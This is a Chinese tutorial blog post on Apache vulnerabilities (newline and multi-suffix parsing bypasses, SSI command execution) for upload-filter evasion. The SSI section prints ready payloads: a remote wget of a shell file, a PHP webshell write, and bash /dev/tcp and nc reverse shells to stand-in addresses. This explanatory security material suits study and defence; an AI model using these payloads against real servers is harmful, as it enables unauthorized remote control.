Apache安全漏洞

2023-10-27

Apache安全漏洞


1、Apache中间件介绍

Apache是世界使用排名第一的Web服务器软件。它可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的Web服务器端软件之一。它快速、可靠并且可通过简单的API扩充,将Perl/Python等解释器编译到服务器中。

简单来说就是一个好用的,并且能支持基础的HTML、PHP、Perl、Python等语言。很强

常见目录:

bin ------------- 存放常用的命令工具。例如httpd

cgi-bin --------- 存放Linux下常用的命令,例如xxx.sh

conf ----------- Linux的配置相关文件,例如httpd.conf

error ----------- 错误记录

htdocs ----------- 放网站源码

icons ------------- 网站图标

logs ---------------------- 日志

manual -------------------- 手册

modules -------------------- 扩展模块

Apache运行原理

image-20210509172257648

浏览器向web服务器发送一个请求,如果请求的是静态资源,那么Apache直接返回给浏览器;如果请求的是动态资源,那么Apache会调用脚本程序php去处理(可能会与数据库交互),然后在返回给Apache封装成静态资源后返回给浏览器,浏览器将其展示出来。

PHP架构图:

image-20210509114919117
Apache如何解析PHP

httpd.conf文件

# 加载php5_module模块
LoadModule php5_module php5apache2_2.dll的路径
# 添加可以执行php的问价类型,让.php文件类型解析为PHP
AddType application/x-httpd-php .php
# 或者将AddType变为下下面的(在Apache 2.4.0~2.4.29中默认使用了该方式)
<FilesMatch \.php$>
	SetHandler application/x-httpd-php
</FilesMatch>
以及
<IfModule dir_module>
DirectoryIndex index.html index.htm index.php index.phtml 
</Ifmodule>

Apache调用php的流程为:

HTTP --> Apache --> php5_module --> sapi --> php

2、Apache攻击手段介绍

----换行解析漏洞

影响版本:Apache 2.4.0 ~ 2.4.29

影响说明:绕过服务器策略,上传webshell

环境说明:PHP5.5、Apache2.4.10

漏洞原理:在php文件名后缀加了0x0a(换行),使得逃过了黑名单的检查,而Apache配置文件可以正确匹配.php0x0a的文件并当作php去解析。

注:在windows中不行,因为windows不允许换行符做文件名。所以虽然可以上传绕过检测,但文件无法保存。

漏洞复现:传送门

例子:

image-20210510201950084

----多后缀解析漏洞
  • 影响版本:使用module模式与php结合的所有版本apache存在未知扩展名解析漏洞,使用fastcig模式与php结合的所有版本apache不存在此漏洞。

  • 影响说明:绕过服务器策略,上传webshell

  • 环境说明:PHP7、任意版本的使用module模式与php结合的apache

  • 漏洞原理:

apache支持php有多种模式,常见的有module、cgi、fastcgi等,此漏洞存在于module模式(关于CGI、FastCGI、PHP-FPM与Module模式传送门)。

Apache在遇到多个后缀的文件时,尝试从后往前解析,直到解析到可解析的为止。例如test.php.xxx就按照php去解析,test.php.aaa.jpg就按照php去解析。

根据这个原理,我们可以上传文件名如shell.php.xxx的文件,以此来绕过后端黑名单的检测,从而上传成功而且又能被Apache按照php去解析。

  • 漏洞成因:

apache配置httpd.conf

AddHandle application/x-httpd-php .php
或者
<FileMatch ".+\.ph(ar|p|tml)">
	SetHandler application/x-httpd-php
</FileMatch>

在/etc/mime.types中有定义哪些后缀是apache识别的

----SSI远程命令执行漏洞-说明
  • 影响版本:Apache全版本(支持SSI与CGI)
  • 影响说明:绕过服务器策略,上传webshell
  • 环境说明:PHP7.1、Apache2.4.25

SSI(server-side includes):是放置在HTML页面中的指令,它可以将动态生成的内容添加到现有的HTML页面,而不必通过CGI程序或其他动态技术来提供整个页面。以上是定义采用在Apache官网对SSI的定义,说白了就是可以在HTML中加入特定的指令,也可以引入其他的页面。开启SSI需要单独配置Apache,可以参考SSI配置。SSI可以完成查看时间、文件修改时间、CGI程序执行结果、执行系统命令、连接数据库等操作,功能非常强大。

<pre>
<!--#exec cmd="whoami"-->
</pre>
  • 漏洞利用

    文件名保存为test.shtml,这个后缀取决于Apache的配置,默认是此后缀。当后台对扩展名校验不严格时,可以上传此类型文件,达到执行命令,获取webshell的目的。

    test.shtml

    # 上传webshell
    <!--#exec cmd="wget http://xxx/shell.txt | rename shell.txt shell.php" -->
    <!--#exec cmd="echo '<?php phpinfo(); ?>' > shell.php"-->
    # 反弹shell
    <!--#exec cmd="bash -i >& /dev/tcp/192.168.1.120/8888 0>&1" -->
    <!--#exec cmd="nc x.x.x.x 8888 -e /bin/bash" -->
    
  • 漏洞复现:传送门

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Apache安全漏洞 的相关文章

随机推荐

  • go中如何处理error

    0 前言 go 中的异常处理和其他语言大不相同 像 Java C python 等语言都是通过抛出 Exception 来处理异常 而 go 是通过返回 error 来判定异常 并进行处理 在 go 中有 panic 的机制 但 panic
  • IDEA中使用vue 报 Namespace 'xxx' is not bound的解决办法

    IDE 问题编辑页中v on指令标红并提示 Namespace v on is not bound 解决办法 file Settings下 点ok后标红提示的问题解决 此方法是 Namespace xxx is not bound 通用解决
  • 阿里云RDS如何进行账号及数据库管理?

    本文说说如何管理RDS实例 进入控制台 选中RDS 在列表中选择我们需要管理的地域 并且找到我们需要管理的实例 首先建立一个数据库 点击数据库管理 点击创建数据库 输入数据库名 确定
  • [工具使用]WhatWeb

    网站指纹识别工具WhatWeb WhatWeb简介 用法 10小点 因为想要面对一个新的开始 一个人必须有梦想 有希望 有对未来的憧憬 如果没有这些 就不叫新的开始 而叫逃亡 玛丽亚 杜埃尼亚斯 WhatWeb简介 web指纹扫描主要用于对
  • modbus tcp报文解析_Modbus协议详解

    Modbus概述 Modbus通信协议由Modicon公司 现已经为施耐德公司并购 成为其旗下的子品牌 于1979年发明的 是全球最早用于工业现场的总线规约 由于其免费公开发行 使用该协议的厂家无需缴纳任何费用 Modbus通信协议采用的是
  • 如何共享服务器主机文件,服务器主机如何做文件共享

    服务器主机如何做文件共享 内容精选 换一换 云堡垒机支持文件传输功能 以及审计传输的文件 Linux主机和Windows主机的文件传输方式有所区别 Linux主机上传 下载文件 可选择Web运维和FTP SFTP客户端运维两种方式 Web运
  • C#学习笔记-C#的类及其成员

    类 是面向对象语言的的一个基本特征 它是一种数据结构 类可以理解为将现实生活中的食物进行抽象的结果 比如创建一个person的类 人有身高体重年龄的基本属性 而类的实例化是指将类具体化 比如刚刚创建的一个person的类 将他实例化之后 就
  • 【Vue】关于CSS样式绑定整理

    因突发奇想设计一款组件 需要根据属性动态绑定样式 故而整理一些Vue的动态绑定样式方法 传参绑定类似 不做过多叙述 仅供参考 方式一 直接在元素上绑定具体样式 方式二 定义属性对象 绑定到style 可以在style中使用定义的变量 方式二
  • Linux格式化命令

    如果我们购买一个新的虚拟主机空间或者要更改操作程序 会经常使用到磁盘格式化来清空以前的数据 磁盘格式化的方法很多 我们常用的是NTFS和linux格式化命令两种方法来格式化磁盘 我们讲解一下linux格式化命令的详情 linux格式化磁盘命
  • 自学中走出的大三学生面临就业选择

    来信 贺老师您好 这是我第二次向您请教问题了 非常感谢您上次给我的建议 注 上次来信见http blog csdn net sxhelijian article details 7760011 如邮件主题所述 我是一个即将大四的学生 我学的
  • Java实体映射工具MapStruct使用详解

    1 序 通常在后端开发中经常不直接返回实体Entity类 经过处理转换返回前端 前端提交过来的对象也需要经过转换Entity实体才做存储 通常使用的BeanUtils copyProperties方法也比较粗暴 不仅效率低下 使用反射 而且
  • 图解线性表顺序存储结构(附完整代码)

    目录 一 前言 二 常用接口的实现 三 完整代码 一 前言 顺序表是线性表采用顺序存储结构在计算机内存中的存储方式 它由多个连续的存储单元构成 每个存储单元存放线性表的一个元素 逻辑上相邻的数据元素在内存中也是相邻的 不需要额外的内存空间来
  • html中下划虚线dash定义长度,【CSS】有没有办法自定义 border 为 dashed 时的虚线间距?...

    CSS 的 border 1px dashed 样式太难看了 虚线非常的宽 dotted 也是一样 间距太窄 有没有办法控制虚线或者点的长度或者间距呢 回答 可以的 用渐变 width 100 height 1px background i
  • xml文件Unable to resolve table ‘xxx‘解决

    xml文件Unable to resolve table xxx 解决 问题 解决 打开IDEA数据库设置 输入所用的数据库名 问题解决
  • 导入数据_导入外部数据的三个技巧

    使用Excel编辑外部数据 如 工作表 文本文件 网页 等 时 为了方便可不必将其复制 粘贴到当前工作表 只需要使用 导入 功能 就能实现外部数据的输入 导入Excel表格数据 如图所示为设计好的 一季度业绩快报 如果想要在其他工作表中引用
  • Fiddler配置显示响应时间和服务器IP

    1 Fiddler如何显示响应时间 1 在Tool bar上面找到Rules gt Customize Rules 或Ctrl R快捷键 2 在class Handlers 里面添加 function BeginRequestTime oS
  • ACE_Message_Block功能和实现浅析

    ACE Message Block实现浅析 1 概述 ACE Message Block是ACE中很重要的一个类 和ACE框架中的重要模式的实现 如ACE Reactor ACE Proactor ACE Stream ACE Task都有
  • S32K SDK使用详解之S32 SDK软件架构详解

    内容提要 引言 1 SDK的MCU平台相关设备驱动解析 SDK gt platform gt devices目录 1 1 子目录common 1 2 子目录S32K1xx 为具体使用的MCU型号 可能为 S32K116 S32K118 S3
  • sql语句中where一定要放在group by 之前

    sql语句中where一定要放在group by 之前 分组查询出来的结果是根据第一个被查询出来的数据结果作为结果的 所以如果在查询的时候需要加入条件 那么就一定要在分组之前把条件加进去 select litigant name count
  • Apache安全漏洞

    Apache安全漏洞 1 Apache中间件介绍 Apache是世界使用排名第一的Web服务器软件 它可以运行在几乎所有广泛使用的计算机平台上 由于其跨平台和安全性被广泛使用 是最流行的Web服务器端软件之一 它快速 可靠并且可通过简单的A